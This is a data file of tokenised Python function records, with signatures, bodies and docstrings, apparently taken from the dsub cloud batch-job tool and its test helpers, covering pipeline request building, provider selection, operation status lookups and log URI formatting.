{"signature": "def _delocalize_outputs_commands(self, task_dir, outputs, user_project):", "body": "commands = []<EOL>for o in outputs:<EOL><INDENT>if o.recursive or not o.value:<EOL><INDENT>continue<EOL><DEDENT>dest_path = o.uri.path<EOL>local_path = task_dir + '<STR_LIT:/>' + _DATA_SUBDIR + '<STR_LIT:/>' + o.docker_path<EOL>if o.file_provider == job_model.P_LOCAL:<EOL><INDENT>commands.append('<STR_LIT>' % dest_path)<EOL><DEDENT>if o.file_provider in [job_model.P_LOCAL, job_model.P_GCS]:<EOL><INDENT>if user_project:<EOL><INDENT>command = '<STR_LIT>' % (user_project, local_path,<EOL>dest_path)<EOL><DEDENT>else:<EOL><INDENT>command = '<STR_LIT>' % (local_path, dest_path)<EOL><DEDENT>commands.append(command)<EOL><DEDENT><DEDENT>return '<STR_LIT:\\n>'.join(commands)<EOL>", "docstring": "Copy outputs from local disk to GCS.", "id": "f6202:c0:m28"}
{"signature": "def raw_task_data(self):", "body": "return self._raw._asdict()<EOL>", "docstring": "Return a provider-specific representation of task data.\n\n        Returns:\n          string of task data from the provider.", "id": "f6202:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def _last_lines(value, count):<DEDENT>", "body": "if not value:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT:\\n>'.join(value[-count:])<EOL>", "docstring": "Return the last line(s) as a single (newline delimited) string.", "id": "f6202:c1:m4"}
{"signature": "def build_machine(network=None,<EOL>machine_type=None,<EOL>preemptible=None,<EOL>service_account=None,<EOL>boot_disk_size_gb=None,<EOL>disks=None,<EOL>accelerators=None,<EOL>labels=None,<EOL>cpu_platform=None,<EOL>nvidia_driver_version=None):", "body": "return {<EOL>'<STR_LIT>': network,<EOL>'<STR_LIT>': machine_type,<EOL>'<STR_LIT>': preemptible,<EOL>'<STR_LIT>': service_account,<EOL>'<STR_LIT>': boot_disk_size_gb,<EOL>'<STR_LIT>': disks,<EOL>'<STR_LIT>': accelerators,<EOL>'<STR_LIT>': labels,<EOL>'<STR_LIT>': cpu_platform,<EOL>'<STR_LIT>': nvidia_driver_version,<EOL>}<EOL>", "docstring": "Build a VirtualMachine object for a Pipeline request.\n\n    Args:\n      network (dict): Network details for the pipeline to run in.\n      machine_type (str): GCE Machine Type string for the pipeline.\n      preemptible (bool): Use a preemptible VM for the job.\n      service_account (dict): Service account configuration for the VM.\n      boot_disk_size_gb (int): Boot disk size in GB.\n      disks (list[dict]): List of disks to mount.\n      accelerators (list[dict]): List of accelerators to attach to the VM.\n      labels (dict[string, string]): Labels for the VM.\n      cpu_platform (str): The CPU platform to request.\n      nvidia_driver_version (str): The NVIDIA driver version to use when attaching\n        an NVIDIA GPU accelerator.\n\n    Returns:\n      An object representing a VirtualMachine.", "id": "f6203:m4"}
{"signature": "def build_resources(project=None,<EOL>regions=None,<EOL>zones=None,<EOL>virtual_machine=None):", "body": "return {<EOL>'<STR_LIT>': project,<EOL>'<STR_LIT>': regions,<EOL>'<STR_LIT>': zones,<EOL>'<STR_LIT>': virtual_machine,<EOL>}<EOL>", "docstring": "Build a Resources object for a Pipeline request.\n\n    Args:\n      project (str): Cloud project for the Pipeline to run in.\n      regions (List[str]): List of regions for the pipeline to run in.\n      zones (List[str]): List of zones for the pipeline to run in.\n      virtual_machine(str): Virtual machine type string.\n\n    Returns:\n      An object representing a Resource.", "id": "f6203:m5"}
{"signature": "def build_mount(disk, path, read_only):", "body": "return {<EOL>'<STR_LIT>': disk,<EOL>'<STR_LIT:path>': path,<EOL>'<STR_LIT>': read_only,<EOL>}<EOL>", "docstring": "Build a Mount object for a Pipeline request.\n\n    Args:\n      disk (str): Name of disk to mount, as specified in the resources section.\n      path (str): Path to mount the disk at inside the container.\n      read_only (boolean): If true,  disk is mounted read only in the container.\n\n    Returns:\n      An object representing a Mount.", "id": "f6203:m6"}
{"signature": "def build_action(name=None,<EOL>image_uri=None,<EOL>commands=None,<EOL>entrypoint=None,<EOL>environment=None,<EOL>pid_namespace=None,<EOL>flags=None,<EOL>port_mappings=None,<EOL>mounts=None,<EOL>labels=None):", "body": "return {<EOL>'<STR_LIT:name>': name,<EOL>'<STR_LIT>': image_uri,<EOL>'<STR_LIT>': commands,<EOL>'<STR_LIT>': entrypoint,<EOL>'<STR_LIT>': environment,<EOL>'<STR_LIT>': pid_namespace,<EOL>'<STR_LIT>': flags,<EOL>'<STR_LIT>': port_mappings,<EOL>'<STR_LIT>': mounts,<EOL>'<STR_LIT>': labels,<EOL>}<EOL>", "docstring": "Build an Action object for a Pipeline request.\n\n    Args:\n      name (str): An optional name for the container.\n      image_uri (str): The URI to pull the container image from.\n      commands (List[str]): commands and arguments to run inside the container.\n      entrypoint (str): overrides the ENTRYPOINT specified in the container.\n      environment (dict[str,str]): The environment to pass into the container.\n      pid_namespace (str): The PID namespace to run the action inside.\n      flags (str): Flags that control the execution of this action.\n      port_mappings (dict[int, int]): A map of container to host port mappings for\n        this container.\n      mounts (List): A list of mounts to make available to the action.\n      labels (dict[str]): Labels to associate with the action.\n\n    Returns:\n      An object representing an Action resource.", "id": "f6203:m7"}
{"signature": "def build_pipeline(actions, resources, environment, timeout):", "body": "return {<EOL>'<STR_LIT>': actions,<EOL>'<STR_LIT>': resources,<EOL>'<STR_LIT>': environment,<EOL>'<STR_LIT>': timeout,<EOL>}<EOL>", "docstring": "Build an Pipeline argument for a Pipeline request.\n\n    Args:\n      actions (List): A list of actions to execute.\n      resources (dict): An object indicating pipeline resources.\n      environment (dict[str,str]): The environment to pass into the container.\n      timeout (str): A duration in seconds with up to nine fractional digits,\n        terminated by 's'.\n\n    Returns:\n      An object representing a Pipelines Resource.", "id": "f6203:m8"}
{"signature": "def get_provider(args, resources):", "body": "provider = getattr(args, '<STR_LIT>', '<STR_LIT>')<EOL>if provider == '<STR_LIT>':<EOL><INDENT>return google.GoogleJobProvider(<EOL>getattr(args, '<STR_LIT>', False),<EOL>getattr(args, '<STR_LIT>', False), args.project)<EOL><DEDENT>elif provider == '<STR_LIT>':<EOL><INDENT>return google_v2.GoogleV2JobProvider(<EOL>getattr(args, '<STR_LIT>', False), getattr(args, '<STR_LIT>', False),<EOL>args.project)<EOL><DEDENT>elif provider == '<STR_LIT>':<EOL><INDENT>return local.LocalJobProvider(resources)<EOL><DEDENT>elif provider == '<STR_LIT>':<EOL><INDENT>return test_fails.FailsJobProvider()<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' + provider)<EOL><DEDENT>", "docstring": "Returns a provider for job submission requests.", "id": "f6204:m0"}
{"signature": "def get_provider_name(provider):", "body": "return PROVIDER_NAME_MAP[provider.__class__]<EOL>", "docstring": "Returns the name of a given provider.", "id": "f6204:m1"}
{"signature": "def create_parser(prog):", "body": "parser = argparse.ArgumentParser(prog=prog, formatter_class=DsubHelpFormatter)<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default='<STR_LIT>',<EOL>choices=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'],<EOL>help=\"\"\"<STR_LIT>\"\"\",<EOL>metavar='<STR_LIT>')<EOL>return parser<EOL>", "docstring": "Create an argument parser, adding in the list of providers.", "id": "f6204:m2"}
{"signature": "def parse_args(parser, provider_required_args, argv):", "body": "<EOL>epilog = '<STR_LIT>'<EOL>for provider in provider_required_args:<EOL><INDENT>epilog += '<STR_LIT>' % (provider, provider_required_args[provider])<EOL><DEDENT>parser.epilog = epilog<EOL>args = parser.parse_args(argv)<EOL>for arg in provider_required_args[args.provider]:<EOL><INDENT>if not args.__getattribute__(arg):<EOL><INDENT>parser.error('<STR_LIT>' % arg)<EOL><DEDENT><DEDENT>return args<EOL>", "docstring": "Add provider required arguments epilog message, parse, and validate.", "id": "f6204:m3"}
{"signature": "def get_dstat_provider_args(provider, project):", "body": "provider_name = get_provider_name(provider)<EOL>args = []<EOL>if provider_name == '<STR_LIT>':<EOL><INDENT>args.append('<STR_LIT>' % project)<EOL><DEDENT>elif provider_name == '<STR_LIT>':<EOL><INDENT>args.append('<STR_LIT>' % project)<EOL><DEDENT>elif provider_name == '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>elif provider_name == '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>assert False, '<STR_LIT>' % provider<EOL><DEDENT>args.insert(<NUM_LIT:0>, '<STR_LIT>' % provider_name)<EOL>return '<STR_LIT:U+0020>'.join(args)<EOL>", "docstring": "A string with the arguments to point dstat to the same provider+project.", "id": "f6204:m4"}
{"signature": "def get_ddel_provider_args(provider_type, project):", "body": "<EOL>return get_dstat_provider_args(provider_type, project)<EOL>", "docstring": "A string with the arguments to point ddel to the same provider+project.", "id": "f6204:m5"}
{"signature": "def check_for_unsupported_flag(args):", "body": "if args.label and args.provider not in [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'<EOL>]:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % args.provider)<EOL><DEDENT>", "docstring": "Raise an error if the provider doesn't support a provided flag.", "id": "f6204:m7"}
{"signature": "def _format_task_uri(fmt, job_metadata, task_metadata):", "body": "values = {<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None<EOL>}<EOL>for key in values:<EOL><INDENT>values[key] = task_metadata.get(key) or job_metadata.get(key) or values[key]<EOL><DEDENT>return fmt.format(**values)<EOL>", "docstring": "Returns a URI with placeholders replaced by metadata values.", "id": "f6204:m8"}
{"signature": "def format_logging_uri(uri, job_metadata, task_metadata):", "body": "<EOL>fmt = str(uri)<EOL>if '<STR_LIT:{>' not in fmt:<EOL><INDENT>if uri.endswith('<STR_LIT>'):<EOL><INDENT>fmt = os.path.splitext(uri)[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>fmt = os.path.join(uri, '<STR_LIT>')<EOL><DEDENT>if task_metadata.get('<STR_LIT>') is not None:<EOL><INDENT>fmt += '<STR_LIT>'<EOL><DEDENT>if task_metadata.get('<STR_LIT>') is not None:<EOL><INDENT>fmt += '<STR_LIT>'<EOL><DEDENT>fmt += '<STR_LIT>'<EOL><DEDENT>return _format_task_uri(fmt, job_metadata, task_metadata)<EOL>", "docstring": "Inserts task metadata into the logging URI.\n\n    The core behavior is inspired by the Google Pipelines API:\n      (1) If a the uri ends in \".log\", then that is the logging path.\n      (2) Otherwise, the uri is treated as \"directory\" for logs and a filename\n          needs to be automatically generated.\n\n    For (1), if the job is a --tasks job, then the {task-id} is inserted\n    before \".log\".\n\n    For (2), the file name generated is {job-id}, or for --tasks jobs, it is\n    {job-id}.{task-id}.\n\n    In both cases .{task-attempt} is inserted before .log for --retries jobs.\n\n    In addition, full task metadata substitution is supported. The URI\n    may include substitution strings such as\n    \"{job-id}\", \"{task-id}\", \"{job-name}\", \"{user-id}\", and \"{task-attempt}\".\n\n    Args:\n      uri: User-specified logging URI which may contain substitution fields.\n      job_metadata: job-global metadata.\n      task_metadata: tasks-specific metadata.\n\n    Returns:\n      The logging_uri formatted as described above.", "id": "f6204:m9"}
{"signature": "def set_operations(self, ops):", "body": "self._operations = [StubTask(o) for o in ops]<EOL>", "docstring": "Set the state of the fictional world.\n\n        Args:\n         ops: a list of dict, each representing an operation.\n\n        Operations can have the following fields:\n           - status: tuple (string,date)\n           - user: string\n           - job-id: string\n           - job-name: string\n           - task-id: string\n           - task-attempt: integer\n           - labels: list<dict>\n           - status-message: string\n           - error-messages : list of string", "id": "f6205:c0:m3"}
{"signature": "def lookup_job_tasks(self,<EOL>statuses,<EOL>user_ids=None,<EOL>job_ids=None,<EOL>job_names=None,<EOL>task_ids=None,<EOL>task_attempts=None,<EOL>labels=None,<EOL>create_time_min=None,<EOL>create_time_max=None,<EOL>max_tasks=<NUM_LIT:0>):", "body": "statuses = None if statuses == {'<STR_LIT:*>'} else statuses<EOL>user_ids = None if user_ids == {'<STR_LIT:*>'} else user_ids<EOL>job_ids = None if job_ids == {'<STR_LIT:*>'} else job_ids<EOL>job_names = None if job_names == {'<STR_LIT:*>'} else job_names<EOL>task_ids = None if task_ids == {'<STR_LIT:*>'} else task_ids<EOL>task_attempts = None if task_attempts == {'<STR_LIT:*>'} else task_attempts<EOL>if labels or create_time_min or create_time_max:<EOL><INDENT>raise NotImplementedError(<EOL>'<STR_LIT>')<EOL><DEDENT>operations = [<EOL>x for x in self._operations<EOL>if ((not statuses or x.get_field('<STR_LIT:status>', (None, None))[<NUM_LIT:0>] in statuses<EOL>) and (not user_ids or x.get_field('<STR_LIT:user>', None) in user_ids) and<EOL>(not job_ids or x.get_field('<STR_LIT>', None) in job_ids) and<EOL>(not job_names or x.get_field('<STR_LIT>', None) in job_names) and<EOL>(not task_ids or x.get_field('<STR_LIT>', None) in task_ids) and<EOL>(not task_attempts or<EOL>x.get_field('<STR_LIT>', None) in task_attempts))<EOL>]<EOL>if max_tasks > <NUM_LIT:0>:<EOL><INDENT>operations = operations[:max_tasks]<EOL><DEDENT>return operations<EOL>", "docstring": "Return a list of operations. See base.py for additional detail.", "id": "f6205:c0:m6"}
{"signature": "def label_filter(label_key, label_value):", "body": "return '<STR_LIT>'.format(label_key, label_value)<EOL>", "docstring": "Return a valid label filter for operations.list().", "id": "f6206:m0"}
{"signature": "def create_time_filter(create_time, comparator):", "body": "return '<STR_LIT>'.format(comparator, create_time)<EOL>", "docstring": "Return a valid createTime filter for operations.list().", "id": "f6206:m1"}
{"signature": "def get_create_time(op):", "body": "return op.get('<STR_LIT>', {}).get('<STR_LIT>')<EOL>", "docstring": "Return the create time string of the operation.", "id": "f6206:m2"}
{"signature": "def get_start_time(op):", "body": "return op.get('<STR_LIT>', {}).get('<STR_LIT>')<EOL>", "docstring": "Return the start time string of the operation.", "id": "f6206:m3"}
{"signature": "def get_end_time(op):", "body": "return op.get('<STR_LIT>', {}).get('<STR_LIT>')<EOL>", "docstring": "Return the end time string of the operation.", "id": "f6206:m4"}
{"signature": "def get_metadata_type(op):", "body": "return op.get('<STR_LIT>', {}).get('<STR_LIT>')<EOL>", "docstring": "Return the internal metadata type of the operation.", "id": "f6206:m5"}
{"signature": "def get_error(op):", "body": "return op.get('<STR_LIT:error>')<EOL>", "docstring": "Return the error structure for the operation.", "id": "f6206:m6"}
{"signature": "def is_done(op):", "body": "return op.get('<STR_LIT>', False)<EOL>", "docstring": "Return whether the operation has been marked done.", "id": "f6206:m7"}
{"signature": "def is_success(op):", "body": "return is_done(op) and ('<STR_LIT:error>' not in op)<EOL>", "docstring": "Return whether the operation has completed successfully.", "id": "f6206:m8"}
{"signature": "def is_canceled(op):", "body": "error = get_error(op)<EOL>return error and error.get('<STR_LIT:code>', <NUM_LIT:0>) == <NUM_LIT:1><EOL>", "docstring": "Return whether the operation was canceled by the user.", "id": "f6206:m9"}
{"signature": "def is_failed(op):", "body": "error = get_error(op)<EOL>return error and error.get('<STR_LIT:code>', <NUM_LIT:0>) > <NUM_LIT:1><EOL>", "docstring": "Return whether the operation has failed.", "id": "f6206:m10"}
{"signature": "def get_labels(op):", "body": "return op.get('<STR_LIT>', {}).get('<STR_LIT>', {})<EOL>", "docstring": "Return the operation's array of labels.", "id": "f6206:m11"}
{"signature": "def get_label(op, name):", "body": "return get_labels(op).get(name)<EOL>", "docstring": "Return the value for the specified label.", "id": "f6206:m12"}
{"signature": "def get_actions(op):", "body": "return op.get('<STR_LIT>', {}).get('<STR_LIT>').get('<STR_LIT>', [])<EOL>", "docstring": "Return the operation's array of actions.", "id": "f6206:m13"}
{"signature": "def get_action_by_id(op, action_id):", "body": "actions = get_actions(op)<EOL>if actions and <NUM_LIT:1> <= action_id < len(actions):<EOL><INDENT>return actions[action_id - <NUM_LIT:1>]<EOL><DEDENT>", "docstring": "Return the operation's array of actions.", "id": "f6206:m14"}
{"signature": "def _get_action_by_name(op, name):", "body": "actions = get_actions(op)<EOL>for action in actions:<EOL><INDENT>if action.get('<STR_LIT:name>') == name:<EOL><INDENT>return action<EOL><DEDENT><DEDENT>", "docstring": "Return the value for the specified action.", "id": "f6206:m15"}
{"signature": "def get_action_environment(op, name):", "body": "action = _get_action_by_name(op, name)<EOL>if action:<EOL><INDENT>return action.get('<STR_LIT>')<EOL><DEDENT>", "docstring": "Return the environment for the operation.", "id": "f6206:m16"}
{"signature": "def get_action_image(op, name):", "body": "action = _get_action_by_name(op, name)<EOL>if action:<EOL><INDENT>return action.get('<STR_LIT>')<EOL><DEDENT>", "docstring": "Return the image for the operation.", "id": "f6206:m17"}
{"signature": "def get_events(op):", "body": "return op.get('<STR_LIT>', {}).get('<STR_LIT>', [])<EOL>", "docstring": "Return the array of events for the operation.", "id": "f6206:m18"}
{"signature": "def get_last_event(op):", "body": "events = get_events(op)<EOL>if events:<EOL><INDENT>return events[<NUM_LIT:0>]<EOL><DEDENT>return None<EOL>", "docstring": "Return the last event (if any) for the operation.", "id": "f6206:m19"}
{"signature": "def get_failed_events(op):", "body": "events = get_events(op)<EOL>if events:<EOL><INDENT>return [<EOL>e for e in events if int(e.get('<STR_LIT>', {}).get('<STR_LIT>', <NUM_LIT:0>)) != <NUM_LIT:0><EOL>]<EOL><DEDENT>return None<EOL>", "docstring": "Return the events (if any) with a non-zero exitStatus.", "id": "f6206:m20"}
{"signature": "def get_event_of_type(op, event_type):", "body": "events = get_events(op)<EOL>if not events:<EOL><INDENT>return None<EOL><DEDENT>return [e for e in events if e.get('<STR_LIT>', {}).get('<STR_LIT>') == event_type]<EOL>", "docstring": "Return all events of a particular type.", "id": "f6206:m21"}
{"signature": "def get_last_update(op):", "body": "last_update = get_end_time(op)<EOL>if not last_update:<EOL><INDENT>last_event = get_last_event(op)<EOL>if last_event:<EOL><INDENT>last_update = last_event['<STR_LIT>']<EOL><DEDENT><DEDENT>if not last_update:<EOL><INDENT>last_update = get_create_time(op)<EOL><DEDENT>return last_update<EOL>", "docstring": "Return the most recent timestamp in the operation.", "id": "f6206:m23"}
{"signature": "def get_resources(op):", "body": "return op.get('<STR_LIT>', {}).get('<STR_LIT>').get('<STR_LIT>', {})<EOL>", "docstring": "Return the operation's resource.", "id": "f6206:m24"}
{"signature": "def is_pipeline(op):", "body": "return get_metadata_type(<EOL>op) == '<STR_LIT>'<EOL>", "docstring": "Check that an operation is a genomics pipeline run.\n\n    An operation is a Genomics Pipeline run if the request metadata's @type\n    is \"type.googleapis.com/google.genomics.v2alpha1.Metadata\".\n\n    Args:\n      op: a pipelines operation.\n\n    Returns:\n      Boolean, true if the operation is a RunPipelineRequest.", "id": "f6206:m25"}
{"signature": "def is_dsub_operation(op):", "body": "if not is_pipeline(op):<EOL><INDENT>return False<EOL><DEDENT>for name in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if not get_label(op, name):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Determine if a pipelines operation is a dsub request.\n\n    We don't have a rigorous way to identify an operation as being submitted\n    by dsub. Our best option is to check for certain fields that have always\n    been part of dsub operations.\n\n    - labels: job-id, job-name, and user-id have always existed. The dsub-version\n              label has always existed for the google-v2 provider.\n\n    Args:\n      op: a pipelines operation.\n\n    Returns:\n      Boolean, true if the pipeline run was generated by dsub.", "id": "f6206:m26"}
{"signature": "def raw_ops(tasklist):", "body": "return [t.raw_task_data() for t in tasklist]<EOL>", "docstring": "Convert returned operations to raw operations.", "id": "f6218:m0"}
{"signature": "def __init__(self, chronology):", "body": "self._chronology = chronology<EOL>self._now = <NUM_LIT:0><EOL>self._next = six.advance_iterator(self._chronology)<EOL>", "docstring": "The chronology is a generator that updates the world.\n\n        Yield how many seconds of fake time elapse. Think of each yield as a\n        \"sleep\". We read the very first value immediately, so that the world can be\n        initialized in the chronology.\n\n        Args:\n          chronology: a generator that updates the state of the world and then\n          sleeps via yielding.", "id": "f6219:c0:m0"}
{"signature": "def sleep(self, seconds):", "body": "if seconds < <NUM_LIT:0>:<EOL><INDENT>raise IOError(\"<STR_LIT>\")<EOL><DEDENT>target = self._now + seconds<EOL>if target < self._next:<EOL><INDENT>self._now = target<EOL>return<EOL><DEDENT>self._now = target<EOL>for step in self._chronology:<EOL><INDENT>self._next += step<EOL>if self._next > target:<EOL><INDENT>return<EOL><DEDENT><DEDENT>raise BaseException(\"<STR_LIT>\")<EOL>", "docstring": "Sleep for this many fictitious seconds.\n\n        The world will update accordingly.\n\n        Args:\n          seconds: how many seconds to pretend sleep for.\n\n        Raises:\n          IOError: for negative delays (matches time.sleep).\n          BaseException: at the end of times, to detect infinite loop bugs\n        and the like.", "id": "f6219:c0:m1"}
{"signature": "def now(self):", "body": "return self._now<EOL>", "docstring": "Returns the current fake time.", "id": "f6219:c0:m2"}
{"signature": "def to_string(stdoutbytes):", "body": "if sys.version_info[<NUM_LIT:0>] < <NUM_LIT:3>:<EOL><INDENT>return stdoutbytes<EOL><DEDENT>encoding = sys.stdout.encoding if sys.stdout.encoding else '<STR_LIT:utf-8>'<EOL>return stdoutbytes.decode(encoding)<EOL>", "docstring": "Convert stdout to a string in python 2 or 3.", "id": "f6226:m0"}
{"signature": "def diff(str1, str2):", "body": "result = list(difflib.Differ().compare(<EOL>str1.splitlines(True), str2.splitlines(True)))<EOL>same = True<EOL>for line in result:<EOL><INDENT>if line[<NUM_LIT:0>] in ('<STR_LIT:->', '<STR_LIT:+>'):<EOL><INDENT>same = False<EOL>sys.stdout.write(line)<EOL><DEDENT><DEDENT>return same<EOL>", "docstring": "Determine if two strings differ, emit differences to stdout.", "id": "f6226:m3"}
{"signature": "def expand_tsv_fields(newenv, tmpl_file, tsv_file):", "body": "with open(tmpl_file, '<STR_LIT:r>') as f:<EOL><INDENT>input_lines = f.readlines()<EOL><DEDENT>with open(tsv_file, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(input_lines[<NUM_LIT:0>])<EOL>for line in input_lines[<NUM_LIT:1>:]:<EOL><INDENT>curr = []<EOL>for field in line.split('<STR_LIT:\\t>'):<EOL><INDENT>cell = subprocess.check_output(<EOL>'<STR_LIT>' % field, env=newenv, shell=True)<EOL>curr.append(cell)<EOL><DEDENT>f.write('<STR_LIT:\\t>'.join(curr) + '<STR_LIT:\\n>')<EOL><DEDENT><DEDENT>", "docstring": "Write a TSV file, expanding environment variables in the template.", "id": "f6226:m4"}
{"signature": "def get_field_from_tsv(tsv_file, match_column, match_value, return_column):", "body": "with open(tsv_file, '<STR_LIT:r>') as f:<EOL><INDENT>input_lines = f.readlines()<EOL><DEDENT>fields = input_lines[<NUM_LIT:0>].strip().split('<STR_LIT:\\t>')<EOL>match_column_idx = fields.index(match_column)<EOL>return_column_idx = fields.index(return_column)<EOL>for line in input_lines[<NUM_LIT:1>:]:<EOL><INDENT>fields = line.strip().split('<STR_LIT:\\t>')<EOL>if re.search(match_value, fields[match_column_idx]):<EOL><INDENT>return fields[return_column_idx]<EOL><DEDENT><DEDENT>", "docstring": "Reads a TSV, matches on a column value and returns another column.", "id": "f6226:m5"}
{"signature": "def unquote(value):", "body": "if value.startswith('<STR_LIT:\">') and value.endswith('<STR_LIT:\">'):<EOL><INDENT>return value[<NUM_LIT:1>:-<NUM_LIT:1>].replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>return value<EOL>", "docstring": "Remove surrounding single or double quotes.", "id": "f6229:m0"}
{"signature": "def _environ():", "body": "e = dict(os.environ)<EOL>for var in TEST_VARS + TEST_E2E_VARS:<EOL><INDENT>e[var] = globals()[var]<EOL><DEDENT>return e<EOL>", "docstring": "Merge the current enviornment and test variables into a dictionary.", "id": "f6231:m0"}
{"signature": "def dsub_google(dsub_args):", "body": "<EOL>google_opt_args = [<EOL>(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>]<EOL>opt_args = []<EOL>for var in google_opt_args:<EOL><INDENT>val = globals().get(var[<NUM_LIT:0>])<EOL>if val:<EOL><INDENT>opt_args.append(var[<NUM_LIT:1>], val)<EOL><DEDENT><DEDENT>return dsub_command.call([<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", PROJECT_ID,<EOL>\"<STR_LIT>\", LOGGING,<EOL>\"<STR_LIT>\", \"<STR_LIT>\"<EOL>] + opt_args + dsub_args)<EOL>", "docstring": "Call dsub appending google-provider required arguments.", "id": "f6231:m2"}
{"signature": "def dsub_google_v2(dsub_args):", "body": "<EOL>google_v2_opt_args = [<EOL>(\"<STR_LIT>\", \"<STR_LIT>\"),<EOL>(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>]<EOL>opt_args = []<EOL>for var in google_v2_opt_args:<EOL><INDENT>val = globals().get(var[<NUM_LIT:0>])<EOL>if val:<EOL><INDENT>opt_args.append(var[<NUM_LIT:1>], val)<EOL><DEDENT><DEDENT>return dsub_command.call([<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", PROJECT_ID,<EOL>\"<STR_LIT>\", LOGGING,<EOL>\"<STR_LIT>\", \"<STR_LIT>\"<EOL>] + opt_args + dsub_args)<EOL>", "docstring": "Call dsub appending google-v2 required arguments.", "id": "f6231:m3"}
{"signature": "def dsub_local(dsub_args):", "body": "<EOL>return dsub_command.call([<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", LOGGING,<EOL>] + dsub_args)<EOL>", "docstring": "Call dsub appending local-provider required arguments.", "id": "f6231:m4"}
{"signature": "def get_dsub_version():", "body": "filename = os.path.join(os.path.dirname(__file__), '<STR_LIT>')<EOL>with open(filename, '<STR_LIT:r>') as versionfile:<EOL><INDENT>for line in versionfile:<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>version = line.partition('<STR_LIT:=>')[<NUM_LIT:2>]<EOL>return version.strip().strip('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Get the dsub version out of the _dsub_version.py source file.\n\n    Setup.py should not import dsub version from dsub directly since ambiguity in\n    import order could lead to an old version of dsub setting the version number.\n    Parsing the file directly is simpler than using import tools (whose interface\n    varies between python 2.7, 3.4, and 3.5).\n\n    Returns:\n      string of dsub version.\n\n    Raises:\n      ValueError: if the version is not found.", "id": "f6234:m1"}
{"signature": "def normalize_query(query_string, terms=TERMS, norm_space=NORM_SPACE):", "body": "return [<EOL>norm_space('<STR_LIT:U+0020>', (t[<NUM_LIT:0>] or t[<NUM_LIT:1>]).strip()) for t in terms(query_string)]<EOL>", "docstring": "Example:\n>>> normalize_query('  some random  words \"with   quotes  \" and   spaces')\n['some', 'random', 'words', 'with quotes', 'and', 'spaces']", "id": "f6236:m0"}
{"signature": "def inject_quiet(levels):", "body": "loggers = list(Logger.manager.loggerDict.items())<EOL>loggers.append((\"<STR_LIT:root>\", getLogger()))<EOL>level_filter = LevelFilter(levels)<EOL>for logger_name, logger in loggers:<EOL><INDENT>for handler in getattr(logger, \"<STR_LIT>\", []):<EOL><INDENT>handler.addFilter(level_filter)<EOL><DEDENT><DEDENT>", "docstring": "see --quiet flag help for what this does", "id": "f6245:m0"}
{"signature": "def flush(self, line):", "body": "<EOL>sys.stdout.write(line)<EOL>sys.stdout.flush()<EOL>", "docstring": "flush the line to stdout", "id": "f6247:c0:m5"}
{"signature": "def execute(self, arg_str='<STR_LIT>', **kwargs):", "body": "cmd = \"<STR_LIT>\".format(self.cmd_prefix, self.script, arg_str)<EOL>expected_ret_code = kwargs.pop('<STR_LIT:code>', <NUM_LIT:0>)<EOL>environ = self.environ<EOL>for k in list(kwargs.keys()):<EOL><INDENT>if k.isupper():<EOL><INDENT>environ[k] = kwargs.pop(k)<EOL><DEDENT><DEDENT>kwargs.setdefault(\"<STR_LIT>\", subprocess.STDOUT)<EOL>kwargs[\"<STR_LIT>\"] = True<EOL>kwargs[\"<STR_LIT>\"] = subprocess.PIPE<EOL>kwargs[\"<STR_LIT>\"] = self.cwd<EOL>kwargs[\"<STR_LIT>\"] = environ<EOL>process = None<EOL>self.buf = deque(maxlen=self.bufsize)<EOL>try:<EOL><INDENT>process = subprocess.Popen(<EOL>cmd,<EOL>**kwargs<EOL>)<EOL>for line in iter(process.stdout.readline, b\"<STR_LIT>\"):<EOL><INDENT>line = line.decode(self.encoding)<EOL>self.buf.append(line.rstrip())<EOL>yield line<EOL><DEDENT>process.wait()<EOL>if process.returncode != expected_ret_code:<EOL><INDENT>if process.returncode > <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\".format(<EOL>cmd,<EOL>process.returncode,<EOL>self.output<EOL>))<EOL><DEDENT><DEDENT><DEDENT>except subprocess.CalledProcessError as e:<EOL><INDENT>if e.returncode != expected_ret_code:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\".format(<EOL>cmd,<EOL>e.returncode,<EOL>self.output<EOL>))<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>if process:<EOL><INDENT>process.stdout.close()<EOL><DEDENT><DEDENT>", "docstring": "runs the passed in arguments and returns an iterator on the output of\n        running command", "id": "f6247:c0:m9"}
